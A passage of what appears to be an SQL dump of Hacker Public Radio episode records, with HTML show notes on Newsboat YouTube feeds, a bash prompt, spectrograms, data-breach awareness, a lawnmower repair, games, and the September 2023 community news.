]\nhref=&quot;https://www.youtube.com/channel/UCLEoyoOKZK0idGqSc6Pi23w&quot;\n[ lots of nonsense ]</code></pre>\n<p>In order to turn this channel ID into something useful, we create the following URL:</p>\n<pre><code>https://www.youtube.com/feeds/videos.xml?channel_id=UCLEoyoOKZK0idGqSc6Pi23w</code></pre>\n<p><a href=\"https://takeout.google.com/\">Google takeout can also be used to export youtube subscriptions.</a></p>\n<p>The export format is a CSV that contains the channel IDs for all of our subscriptions.</p>\n<pre><code>Channel Id,Channel Url,Channel Title\nUCLEoyoOKZK0idGqSc6Pi23w,http://www.youtube.com/channel/UCLEoyoOKZK0idGqSc6Pi23w,RMC - The Cave</code></pre>\n<h1 id=\"newsboat-url-list\">Newsboat url list</h1>\n<p>Newsboat reads its list of URLs from <code>~/.config/newsboat/urls</code>. Every url we add to this list will be automaticlly fetched. You can make separate URL lists for your list of videos and list of standard text based RSS feeds</p>\n<p>If you have an exported CSV, you can easily modify it so that newsboat will accept it as a list of URLs by deleting row 1, column 1+comma, and replacing the comma between the URL and channel name with a tab character. Doing a <code>sed \'s/channel\\//feeds\\/videos.xml?channel_id=/g\'</code> on the file is an easy way to replace the website URL with the feed url. Newsboat only reads the first field of every row so the channel name can be kept for easier subscription management.</p>\n<pre><code>http://www.youtube.com/feeds/videos.xml?channel_id=UCLEoyoOKZK0idGqSc6Pi23w RMC - The Cave</code></pre>\n<h1 id=\"newsboat-config\">Newsboat config</h1>\n<p>In order to play videos, we need to add some macros to the newsboat config file at <code>~/.config/newsboat/config</code></p>\n<p>Mine looks like this.</p>\n<pre><code># load URLS on launch\nauto-reload yes\n\n# vim binds\nbind-key j down\nbind-key k up\nbind-key j next articlelist\nbind-key k prev articlelist\nbind-key J next-feed articlelist\nbind-key K prev-feed articlelist\nbind-key G end\nbind-key g home\nbind-key d pagedown\nbind-key u pageup\nbind-key l open\nbind-key h quit\nbind-key a toggle-article-read\nbind-key n next-unread\nbind-key N prev-unread\nbind-key D pb-download\nbind-key U bashow-urls\nbind-key x pb-delete\n\n# macro setup\nbrowser linkhandler\nmacro , open-in-browser\n\n# launch video player\nmacro v set browser &quot;setsid -f mpv&quot; ; open-in-browser ; set browser linkhandler\n\n# download video\nmacro d set browser &quot;yt-dlp&quot;; open-in-browser ; set browser linkhandler\n\n# download audio only\nmacro a set browser &quot;yt-dlp --embed-metadata -xic -f bestaudio/best&quot; ; open-in-browser ; set browser linkhandler</code></pre>\n<h1 id=\"video-demo\">Video demo</h1>\n<p>This is a demo of using newsboat with videos. In order to execute the macros, you type <code>,</code> then <code>v</code> or whatever other letter you set the macro to.</p>\n<p><a href=\"https://hackerpublicradio.org/eps/hpr3695/newsboat.webm\">video in webm format</a> your web browser or operating system does not support free video codecs :(</p>\n<h1 id=\"a-url-list-to-get-you-started\">A url list to get you started</h1>\n<pre><code>https://www.youtube.com/feeds/videos.xml?channel_id=UC3ts8coMP645hZw9JSD3pqQ Andreas Kling\nhttps://www.youtube.com/feeds/videos.xml?channel_id=UC9-y-6csu5WGm29I7JiwpnA Computerphile\nhttps://www.youtube.com/feeds/videos.xml?channel_id=UC15BJjhPr4d5gTClhmC4HRw Elliot Coll\nhttps://www.youtube.com/feeds/videos.xml?channel_id=UCxQKHvKbmSzGMvUrVtJYnUA Learn Linux TV\nhttps://www.youtube.com/feeds/videos.xml?channel_id=UCm9K6rby98W8JigLoZOh6FQ LockPickingLawyer\nhttps://www.youtube.com/feeds/videos.xml?channel_id=UCl2mFZoRqjw_ELax4Yisf6w Louis Rossmann\nhttps://www.youtube.com/feeds/videos.xml?channel_id=UC2eYFnH61tmytImy1mTYvhA Luke Smith\nhttps://www.youtube.com/feeds/videos.xml?channel_id=UC7YOGHUfC1Tb6E4pudI9STA Mental Outlaw\nhttps://www.youtube.com/feeds/videos.xml?channel_id=UCjFaPUcJU1vwk193mnW_w1w Modern Vintage Gamer\nhttps://www.youtube.com/feeds/videos.xml?channel_id=UCLEoyoOKZK0idGqSc6Pi23w RMC - The Cave\nhttps://www.youtube.com/feeds/videos.xml?channel_id=UC4rqhyiTs7XyuODcECvuiiQ Scott The Woz\nhttps://www.youtube.com/feeds/videos.xml?channel_id=UC5I2hjZYiW9gZPVkvzM8_Cw Techmoan\nhttps://www.youtube.com/feeds/videos.xml?channel_id=UCy0tKL1T7wFoYcxCe0xjN6Q Technology Connections\nhttps://www.youtube.com/feeds/videos.xml?channel_id=UC8uT9cgJorJPWu7ITLGo9Ww The 8-Bit Guy\nhttps://www.youtube.com/feeds/videos.xml?channel_id=UC5UAwBUum7CPN5buc-_N1Fw The Linux Experiment\nhttps://www.youtube.com/feeds/videos.xml?channel_id=UCFMx-JitepTttWc-ABHhu8A This Week in Retro\nhttps://www.youtube.com/feeds/videos.xml?channel_id=UCsnGwSIHyoYN0kiINAGUKxg Wolfgang&#39;s Channel\nhttps://www.youtube.com/feeds/videos.xml?channel_id=UCJ8V9aiz50m6NVn0ix5v8RQ decino </code></pre>\n',406,0,1,'CC-BY-SA','newsboat, RSS, youtube',0,0,1),
(3956,'2023-10-02','HPR Community News for September 2023',2470,'HPR Volunteers talk about shows released and comments posted in September 2023','<style>\ntable td.shrink {\n white-space:nowrap\n}\nhr.thin {\n border: 0;\n height: 0;\n border-top: 1px solid rgba(0, 0, 0, 0.1);\n border-bottom: 1px solid rgba(255, 255, 255, 0.3);\n}\n</style>\n\n<h2>New hosts</h2>\n<p>\nWelcome to our new hosts: <br />\n\n <a href=\"https://hackerpublicradio.org/correspondents/0423.html\" target=\"_blank\">Noodlez</a>, \n <a href=\"https://hackerpublicradio.org/correspondents/0424.html\" target=\"_blank\">hobs</a>.\n</p>\n\n<h2>Last Month\'s Shows</h2>\n<table id=\"t01\">\n<tr>\n<th>Id</th>\n<th>Day</th>\n<th>Date</th>\n<th>Title</th>\n<th>Host</th>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps/hpr3935/index.html\" target=\"_blank\">3935</a></strong></td>\n<td>Fri</td>\n<td class=\"shrink\">2023-09-01</td>\n<td><a href=\"https://hackerpublicradio.org/eps/hpr3935/index.html\" target=\"_blank\">Server build retrospective</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0382.html\" target=\"_blank\">Daniel Persson</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps/hpr3936/index.html\" target=\"_blank\">3936</a></strong></td>\n<td>Mon</td>\n<td class=\"shrink\">2023-09-04</td>\n<td><a href=\"https://hackerpublicradio.org/eps/hpr3936/index.html\" target=\"_blank\">HPR Community News for August 2023</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0159.html\" target=\"_blank\">HPR Volunteers</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps/hpr3937/index.html\" target=\"_blank\">3937</a></strong></td>\n<td>Tue</td>\n<td class=\"shrink\">2023-09-05</td>\n<td><a href=\"https://hackerpublicradio.org/eps/hpr3937/index.html\" target=\"_blank\">Adventures in Pi-Hole</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0423.html\" target=\"_blank\">Noodlez</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps/hpr3938/index.html\" target=\"_blank\">3938</a></strong></td>\n<td>Wed</td>\n<td class=\"shrink\">2023-09-06</td>\n<td><a href=\"https://hackerpublicradio.org/eps/hpr3938/index.html\" target=\"_blank\">An open directory of web audio stream</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0399.html\" target=\"_blank\">dnt</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps/hpr3939/index.html\" target=\"_blank\">3939</a></strong></td>\n<td>Thu</td>\n<td class=\"shrink\">2023-09-07</td>\n<td><a href=\"https://hackerpublicradio.org/eps/hpr3939/index.html\" target=\"_blank\">How I got into tech and hacking</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0149.html\" target=\"_blank\">Trixter</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps/hpr3940/index.html\" target=\"_blank\">3940</a></strong></td>\n<td>Fri</td>\n<td class=\"shrink\">2023-09-08</td>\n<td><a href=\"https://hackerpublicradio.org/eps/hpr3940/index.html\" target=\"_blank\">Equipment Maintenance</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0198.html\" target=\"_blank\">Ahuka</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps/hpr3941/index.html\" target=\"_blank\">3941</a></strong></td>\n<td>Mon</td>\n<td class=\"shrink\">2023-09-11</td>\n<td><a href=\"https://hackerpublicradio.org/eps/hpr3941/index.html\" target=\"_blank\">Interview with Yosef Kerzner</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0036.html\" target=\"_blank\">operat0r</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps/hpr3942/index.html\" target=\"_blank\">3942</a></strong></td>\n<td>Tue</td>\n<td class=\"shrink\">2023-09-12</td>\n<td><a href=\"https://hackerpublicradio.org/eps/hpr3942/index.html\" target=\"_blank\">RE: How to make friends.</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0391.html\" target=\"_blank\">Some Guy On The Internet</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps/hpr3943/index.html\" target=\"_blank\">3943</a></strong></td>\n<td>Wed</td>\n<td class=\"shrink\">2023-09-13</td>\n<td><a href=\"https://hackerpublicradio.org/eps/hpr3943/index.html\" target=\"_blank\">Why my Dell does it better on Linux.</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0111.html\" target=\"_blank\">knightwise</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps/hpr3944/index.html\" target=\"_blank\">3944</a></strong></td>\n<td>Thu</td>\n<td class=\"shrink\">2023-09-14</td>\n<td><a href=\"https://hackerpublicradio.org/eps/hpr3944/index.html\" target=\"_blank\">Race for the Galaxy</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0364.html\" target=\"_blank\">Tuula</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps/hpr3945/index.html\" target=\"_blank\">3945</a></strong></td>\n<td>Fri</td>\n<td class=\"shrink\">2023-09-15</td>\n<td><a href=\"https://hackerpublicradio.org/eps/hpr3945/index.html\" target=\"_blank\">My chrome plugins</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0382.html\" target=\"_blank\">Daniel Persson</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps/hpr3946/index.html\" target=\"_blank\">3946</a></strong></td>\n<td>Mon</td>\n<td class=\"shrink\">2023-09-18</td>\n<td><a href=\"https://hackerpublicradio.org/eps/hpr3946/index.html\" target=\"_blank\">Planning for a planner, part 02.</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0391.html\" target=\"_blank\">Some Guy On The Internet</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps/hpr3947/index.html\" target=\"_blank\">3947</a></strong></td>\n<td>Tue</td>\n<td class=\"shrink\">2023-09-19</td>\n<td><a href=\"https://hackerpublicradio.org/eps/hpr3947/index.html\" target=\"_blank\">Archiving Floppy Disks</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0334.html\" target=\"_blank\">Steve Saner</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps/hpr3948/index.html\" target=\"_blank\">3948</a></strong></td>\n<td>Wed</td>\n<td class=\"shrink\">2023-09-20</td>\n<td><a href=\"https://hackerpublicradio.org/eps/hpr3948/index.html\" target=\"_blank\">Cleaning up my mancave and talking about Creativity</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0111.html\" target=\"_blank\">knightwise</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps/hpr3949/index.html\" target=\"_blank\">3949</a></strong></td>\n<td>Thu</td>\n<td class=\"shrink\">2023-09-21</td>\n<td><a href=\"https://hackerpublicradio.org/eps/hpr3949/index.html\" target=\"_blank\">How I use virtualisation to tame my Social Media addiction.</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0111.html\" target=\"_blank\">knightwise</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps/hpr3950/index.html\" target=\"_blank\">3950</a></strong></td>\n<td>Fri</td>\n<td class=\"shrink\">2023-09-22</td>\n<td><a href=\"https://hackerpublicradio.org/eps/hpr3950/index.html\" target=\"_blank\">Sid Meiers\' Alpha Centauri</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0198.html\" target=\"_blank\">Ahuka</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps/hpr3951/index.html\" target=\"_blank\">3951</a></strong></td>\n<td>Mon</td>\n<td class=\"shrink\">2023-09-25</td>\n<td><a href=\"https://hackerpublicradio.org/eps/hpr3951/index.html\" target=\"_blank\">Cell Phone Screen Protectors</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0036.html\" target=\"_blank\">operat0r</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps/hpr3952/index.html\" target=\"_blank\">3952</a></strong></td>\n<td>Tue</td>\n<td class=\"shrink\">2023-09-26</td>\n<td><a href=\"https://hackerpublicradio.org/eps/hpr3952/index.html\" target=\"_blank\">Making the Case for Markdown</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0266.html\" target=\"_blank\">Keith Murray</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps/hpr3953/index.html\" target=\"_blank\">3953</a></strong></td>\n<td>Wed</td>\n<td class=\"shrink\">2023-09-27</td>\n<td><a href=\"https://hackerpublicradio.org/eps/hpr3953/index.html\" target=\"_blank\">Large language models and AI don\'t have any common sense</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0424.html\" target=\"_blank\">hobs</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps/hpr3954/index.html\" target=\"_blank\">3954</a></strong></td>\n<td>Thu</td>\n<td class=\"shrink\">2023-09-28</td>\n<td><a href=\"https://hackerpublicradio.org/eps/hpr3954/index.html\" target=\"_blank\">Sedating HPR at the Steading</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0225.html\" target=\"_blank\">Dave Morriss</a></td>\n</tr>\n<tr>\n<td><strong><a href=\"https://hackerpublicradio.org/eps/hpr3955/index.html\" target=\"_blank\">3955</a></strong></td>\n<td>Fri</td>\n<td class=\"shrink\">2023-09-29</td>\n<td><a href=\"https://hackerpublicradio.org/eps/hpr3955/index.html\" target=\"_blank\">airgradient measurement station</a></td>\n<td><a href=\"https://hackerpublicradio.org/correspondents/0382.html\" target=\"_blank\">Daniel Persson</a></td>\n</tr>\n</table>\n\n<h2>Comments this month</h2>\n\n<p>These are comments which have been made during the past month, either to shows released during the month or to past shows.\nThere are 8 comments in total.</p>\n<h3>Past shows</h3>\n<p>There is 1 comment on\n1 previous show:</p>\n<ul>\n<li><strong><a href=\"https://hackerpublicradio.org/eps/hpr3934/index.html#comments\" target=\"_blank\">hpr3934</a></strong>\n(2023-08-31) \"<em>Crusader Kings II</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents/0364.html\" target=\"_blank\">Tuula</a>.<br/>\n<li style=\"list-style: none; display: inline\">\n<ul>\n<li>\n<a href=\"https://hackerpublicradio.org/eps/hpr3934/index.html#1\" target=\"_blank\">Comment 1</a>:\nKevin O&#39;Brien on 2023-09-04:\n\"Loved the show\"</li></ul><br/>\n</limage></ul>\n<h3>This month\'s shows</h3>\n<p>There are 7 comments on 6 of this month\'s shows:</p>\n<ul><li><strong><a href=\"https://hackerpublicradio.org/eps/hpr3937/index.html#comments\" target=\"_blank\">hpr3937</a></strong>\n(2023-09-05) \"<em>Adventures in Pi-Hole</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents/0423.html\" target=\"_blank\">Noodlez</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps/hpr3937/index.html#1\" target=\"_blank\">Comment 1</a>:\nWindigo on 2023-09-16:\n\"Clever static IP solution\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps/hpr3938/index.html#comments\" target=\"_blank\">hpr3938</a></strong>\n(2023-09-06) \"<em>An open directory of web audio stream</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents/0399.html\" target=\"_blank\">dnt</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps/hpr3938/index.html#1\" target=\"_blank\">Comment 1</a>:\ndnt on 2023-09-07:\n\"Update\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps/hpr3940/index.html#comments\" target=\"_blank\">hpr3940</a></strong>\n(2023-09-08) \"<em>Equipment Maintenance</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents/0198.html\" target=\"_blank\">Ahuka</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps/hpr3940/index.html#1\" target=\"_blank\">Comment 1</a>:\nReto on 2023-09-19:\n\"Tires\"</li><li><a href=\"https://hackerpublicradio.org/eps/hpr3940/index.html#2\" target=\"_blank\">Comment 2</a>:\nKevin O&#39;Brien on 2023-09-20:\n\"Telling it like it is\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps/hpr3941/index.html#comments\" target=\"_blank\">hpr3941</a></strong>\n(2023-09-11) \"<em>Interview with Yosef Kerzner</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents/0036.html\" target=\"_blank\">operat0r</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps/hpr3941/index.html#1\" target=\"_blank\">Comment 1</a>:\nReto on 2023-09-19:\n\"honesty\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps/hpr3946/index.html#comments\" target=\"_blank\">hpr3946</a></strong>\n(2023-09-18) \"<em>Planning for a planner, part 02.</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents/0391.html\" target=\"_blank\">Some Guy On The Internet</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps/hpr3946/index.html#1\" target=\"_blank\">Comment 1</a>:\nReto on 2023-09-19:\n\"Previously\"</li></ul><br/>\n</li><li><strong><a href=\"https://hackerpublicradio.org/eps/hpr3948/index.html#comments\" target=\"_blank\">hpr3948</a></strong>\n(2023-09-20) \"<em>Cleaning up my mancave and talking about Creativity</em>\"\nby <a href=\"https://hackerpublicradio.org/correspondents/0111.html\" target=\"_blank\">knightwise</a>.</li>\n<li style=\"list-style: none; display: inline\">\n<ul><li><a href=\"https://hackerpublicradio.org/eps/hpr3948/index.html#1\" target=\"_blank\">Comment 1</a>:\nKevin O&#39;Brien on 2023-09-24:\n\"TUCOWS\"</li></ul><br/>\n</li></ul>\n\n<h2>Mailing List discussions</h2>\n<p>\nPolicy decisions surrounding HPR are taken by the community as a whole. This\ndiscussion takes place on the <a href=\"https://hackerpublicradio.org/maillist\"\ntarget=\"_blank\">Mail List</a> which is open to all HPR listeners and\ncontributors. The discussions are open and available on the HPR server under\n<a href=\"https://hackerpublicradio.org/pipermail/hpr_hackerpublicradio.org/\">Mailman</a>.\n</p>\n<p>The threaded discussions this month can be found here:</p>\n<a href=\"https://lists.hackerpublicradio.com/pipermail/hpr/2023-September/thread.html\" target=\"_blank\">https://lists.hackerpublicradio.com/pipermail/hpr/2023-September/thread.html</a>\n\n\n<h2>Events Calendar</h2>\n<p>With the kind permission of <strong>LWN.net</strong> we are linking to\n<a href=\"https://lwn.net/Calendar/\" target=\"_blank\">The LWN.net Community Calendar</a>.</p>\n<p>Quoting the site:</p>\n<blockquote>This is the LWN.net community event calendar, where we track\nevents of interest to people using and developing Linux and free software.\nClicking on individual events will take you to the appropriate web\npage.</blockquote>\n\n<h2>Any other business</h2>\n<h3 id=\"fosdem-2024\">FOSDEM 2024</h3>\n<ul>\n<li><p>FOSDEM 2024 will take place on Saturday 3rd and Sunday 4th of\nFebruary 2024 in Brussels, Belgium. It will be at the usual location,\nthe ULB (Université libre de Bruxelles).</p></li>\n<li><p>Neither Ken nor Dave will be attending this time.</p></li>\n<li><p>If anyone wishes to apply for a stand on HPR\'s behalf, and if\npeople want to help out doing the key speaker interviews, please get in\ntouch.</p></li>\n</ul>\n<h3 id=\"site-migration\">Site migration</h3>\n<ul>\n<li><p>During September effort has gone into fixing broken links in the\nstatic site templates and the database itself.</p></li>\n<li><p>There are still more links to correct however.</p></li>\n<li><p>Each show page now contains a link to the version of the show\nuploaded to the Internet Archive. If there are HPR links in older shows\nthat have not been updated yet, this copy can be used instead.</p></li>\n</ul>\n\n\n',159,47,1,'CC-BY-SA','Community News',0,0,1),
(3691,'2022-09-26','Starship.rs the best prompt I don\'t use',1529,'Bash prompts','<p>Here\'s the snippets I use in my .bashrc file.</p>\n\n<pre><code>RED=&#39;&#92;033&#91;0;31m&#39;\nPLAIN=&#39;&#92;033&#91;0m&#39; # No Color\nWHITE=&#39;&#92;e&#91;97m&#39;\nGREEN=&#39;&#92;e&#91;0;32m&#39;\nPURPLE=&#39;&#92;e&#91;35;35m&#39;\nCYAN=&#39;&#92;e&#91;36;36m&#39;\n\nJAVA_VERSION=`java --version | head -1 | cut -f2 -d&#39; &#39;`\n\nIP=&#36;&#40;hostname -I | awk &#39;{print &#36;1;}&#39; &#41;\nsource &#47;usr&#47;doc&#47;git-2.35.1&#47;contrib&#47;completion&#47;git-prompt.sh\nPS1=&#39;&#92;! &#91;&#92;&#91;&#39;&#36;GREEN&#39;&#92;&#93;&#36;&#40;hostname -s&#41; &#36;IP&#92;&#91;&#39;&#36;PLAIN&#39;&#92;&#93;&#93; &#91;&#92;&#91;&#39;&#36;CYAN&#39;&#92;&#93;&#36;&#40;pwd -P&#41;&#92;&#91;&#39;&#36;PLAIN&#39;&#92;&#93;&#93; &#36;&#40;__git_ps1 &#34;&#91;&#92;&#91;&#39;&#36;PURPLE&#39;&#92;&#93; %s&#92;&#91;&#39;&#36;PLAIN&#39;&#92;&#93;&#93;&#34;&#41;&#91;☕ &#39;&#36;JAVA_VERSION&#39;&#93;&#92;n&#92;&#91;&#39;&#36;GREEN&#39;&#92;&#93;&#36;&#92;&#91;&#39;&#36;PLAIN&#39;&#92;&#93; &#39;</code></pre>\n',78,0,0,'CC-BY-SA','bash,ps1,terminal,linux',0,0,1),
(3698,'2022-10-05','Spectrogram',949,'Edit audio as a spectrogram','<p>Here\'s a view of my voice. The bright spots at the bottom of the image are my voice, and the bright burst at the top is a click caused by saliva.</p>\n<img src=\"https://i.imgur.com/CmL49Ne.png\" />\n<p>Here\'s me inhaling. Notice how sparse this is compared to my voice.</p>\n<img src=\"https://i.imgur.com/DXGrh5u.png\" />\n<p>One thing I fail to mention in the episode is that there are network monitors that render network activity as a spectrogram, too. If you don\'t have a <a href=\"https://www.metageek.com/wi-spy/\" target=\"_blank\">Wi-Spy</a>, it\'s worth looking at.</p>\n',78,0,0,'CC-BY-SA','audio',0,0,1),
(3726,'2022-11-14','Breaches ever reaching',251,'A short episode about the reaching effects of breaches and forgotten accounts','<p>A short episode about the reaching effects of breaches and accounts you may have forgotten about.</p>\n<ul>\n<li><p>New Marriot Breach:<br />\n<a href=\"https://techcrunch.com/2022/07/06/marriott-breach-again/\" class=\"uri\">https://techcrunch.com/2022/07/06/marriott-breach-again/</a></p></li>\n<li><p>Privacy Fix: How to Find Old Online Accounts from Consumer Reports:<br />\n<a href=\"https://www.consumerreports.org/digital-security/how-to-find-old-online-accounts-a1266305698/\" class=\"uri\">https://www.consumerreports.org/digital-security/how-to-find-old-online-accounts-a1266305698/</a></p></li>\n<li><p>Has you email or phone number been in a breach?<br />\n<a href=\"https://haveibeenpwned.com/\" class=\"uri\">https://haveibeenpwned.com/</a></p></li>\n<li><p>Cool Shit:</p>\n<ul>\n<li>Realtime Global Cyber Attack Map<br />\n<a href=\"https://threatmap.checkpoint.com/\" class=\"uri\">https://threatmap.checkpoint.com/</a></li>\n</ul></li>\n</ul>\n',405,74,1,'CC-BY-SA','cybersecurity,security,EvilSteve,breach,data reduction,privacy',0,0,1),
(3692,'2022-09-27','What is a real hacker?',1840,'I discuss the issue of what makes a real hacker with my my son','<p>In this episode, I discuss the ever prominent question of \"What is a real hacker?\" in explicitly explicit language. So enjoy the discussion and give me your thoughts. This topic always gets peoples feathers ruffled, so agree, disagree? Leave your thoughts or post your own segment on HPR!</p>\n',405,74,1,'CC-BY-SA','cybersecurity,security,EvilSteve,hacking,hacker',0,0,1),
(3693,'2022-09-28','Fixing the automatic cutoff mechanism to an electric mower',274,'Rho`n describes fixing the safety mechanism to his electric mower','<h1>Synopsis</h1>\n\n<p>In this episode, Rho`n fixes the safety mechanism to his Neuton electric mower. Recently the automatic cutoff mechanism was getting finicky. Needing to pull the safety bar back just the correct amount to keep the mower running. Often needing to keep hands on both the left and right sides of the safety bar to prevent the mower from turning off.</p>\n<p>After opening up the housing holding the safety bars, it appeared that the tension spring which causes the bars to disengage from the switch when the bars are released was loose. This would allow the prong that the bars push into the switch contact to slip off the contact and slide overtop of the switch&mdash;turning off the mower. After tightening the coils and putting it back in place, the issue was resolved.</p>\n<style>\ndiv#figures {\n display: flex;\n flex-direction: row;\n flex-wrap: wrap;\n justify-content: center;\n}\ndiv#figures figcaption { max-width: 490px; }\ndiv#figures img { max-width: 50vw; padding-bottom: 0.15em }\n</style>\n<div id=\"figures\">\n<figure>\n <a href=\"https://hackerpublicradio.org/eps/hpr3693/mower01-lg.jpg\"><img src=\"https://hackerpublicradio.org/eps/hpr3693/mower01-sm.jpg\"\n alt=\"Neuton electric mower\"></a>\n <br>\n <figcaption>Neuton electric mower with handle collapsed showing the bottom of the safety handle housing.</figcaption>\n</figure>\n<figure>\n <a href=\"https://hackerpublicradio.org/eps/hpr3693/mower02-lg.jpg\"><img src=\"https://hackerpublicradio.org/eps/hpr3693/mower02-sm.jpg\"\n alt=\"Internal view of safety mechanism\"></a>\n <br>\n <figcaption>Internal view of the automatic cutoff mechanism.</figcaption>\n</figure>\n</div>\n\n<h1>Attribution</h1>\n\n<p>The <a href=\"https://freesound.org/\">transition sound used between audio clips is found on freesound.org</a>:<br>\n<a href=\"https://freesound.org/people/DanJFilms/sounds/529064/\">Name: Harp Transition Music Cue</a><br>\n<a href=\"https://freesound.org/people/DanJFilms/\">Author: DanJFilms</a><br>\n<a href=\"http://creativecommons.org/publicdomain/zero/1.0/\">License: Creative Commons Zero</a></p>\n\n',293,0,0,'CC-BY-SA','electric lawnmower,lawnmower,repair',0,0,1),
(3694,'2022-09-29','Robo Tripping Ravelords of the Apocalypse',616,'Organic Synthesis of Human and Machine Occurs Post Cosmic Event ','\r\n<p>In the aftermath of the cosmic event that destroyed all computers below a certain die size, more robust machines emerge from the ashes.</p>\r\n\r\n<p><a href=\"/eps/hpr3694/3694.jpg\"><img src=\"/eps/hpr3694/3694-thumb.jpg\" alt=\"Sketch of the machine\" /></a></p>\r\n',401,0,0,'CC-BY-SA','beam,righttorepair,robots,mechatronics,apocalypse',0,0,1),
(3699,'2022-10-06','Old and new videogames/board games with guest binrc',2552,'We will dive into our favorite games or others with interesting mechanics.','<h1 id=\"videogames\">Videogames</h1>\n<p>Cruelty Squad on Steam <a href=\"https://store.steampowered.com/app/1388770/Cruelty_Squad/\">Steam</a></p>\n<p>Half-Life <a href=\"https://store.steampowered.com/app/70/HalfLife/\">Steam</a></p>\n<p>Half-Life 2 <a href=\"https://store.steampowered.com/app/220/HalfLife_2/\">Steam</a></p>\n<p>Deus Ex <a href=\"https://store.steampowered.com/app/6910/Deus_Ex_Game_of_the_Year_Edition/\">Steam</a>, <a href=\"https://www.gog.com/en/game/deus_ex\">GOG</a></p>\n<p>Fallout 3 <a href=\"https://store.steampowered.com/app/22300/Fallout_3/\">Steam</a>, <a href=\"https://www.gog.com/en/game/fallout_3_game_of_the_year_edition\">GOG</a></p>\n<p>Slay the Spire <a href=\"https://store.steampowered.com/app/646570/Slay_the_Spire/\">Steam</a>, <a href=\"https://www.gog.com/game/slay_the_spire\">GOG</a></p>\n<p>Crypt of the NecroDancer <a href=\"https://store.steampowered.com/app/247080/Crypt_of_the_NecroDancer/\">Steam</a>, <a href=\"https://www.gog.com/game/crypt_of_the_necrodancer\">GOG</a></p>\n<p>Spin the bottle Bumpie\'s party (Nintendo WiiU) <a href=\"http://spinthebottlethegame.com/\">website</a></p>\n<p>Affordable space adventures (Nintendo WiiU) <a href=\"http://affordablespaceadventures.com/\">website</a></p>\n<p>Old School Runescape <a href=\"https://play.runescape.com/oldschool\">website</a>, <a href=\"https://runelite.net/\">open-source client</a></p>\n<p>Runescape music: Sea shanty 2 <a href=\"https://www.youtube.com/watch?v=BJhF0L7pfo8\">original</a>, <a href=\"https://www.youtube.com/watch?v=bfcZacwnVCk\">remix</a></p>\n<p>Life is strange <a href=\"https://store.steampowered.com/app/319630/Life_is_Strange__Episode_1/\">Steam</a>, <a href=\"https://www.gog.com/game/life_is_strange_complete_season\">GOG</a></p>\n<p>Grim Fandango <a href=\"https://store.steampowered.com/app/316790/Grim_Fandango_Remastered/\">Steam</a></p>\n<h2 id=\"linux-native-games\">Linux-native games</h2>\n<p>These games can be found in most linux distro repositories.</p>\n<p>Endless Sky <a 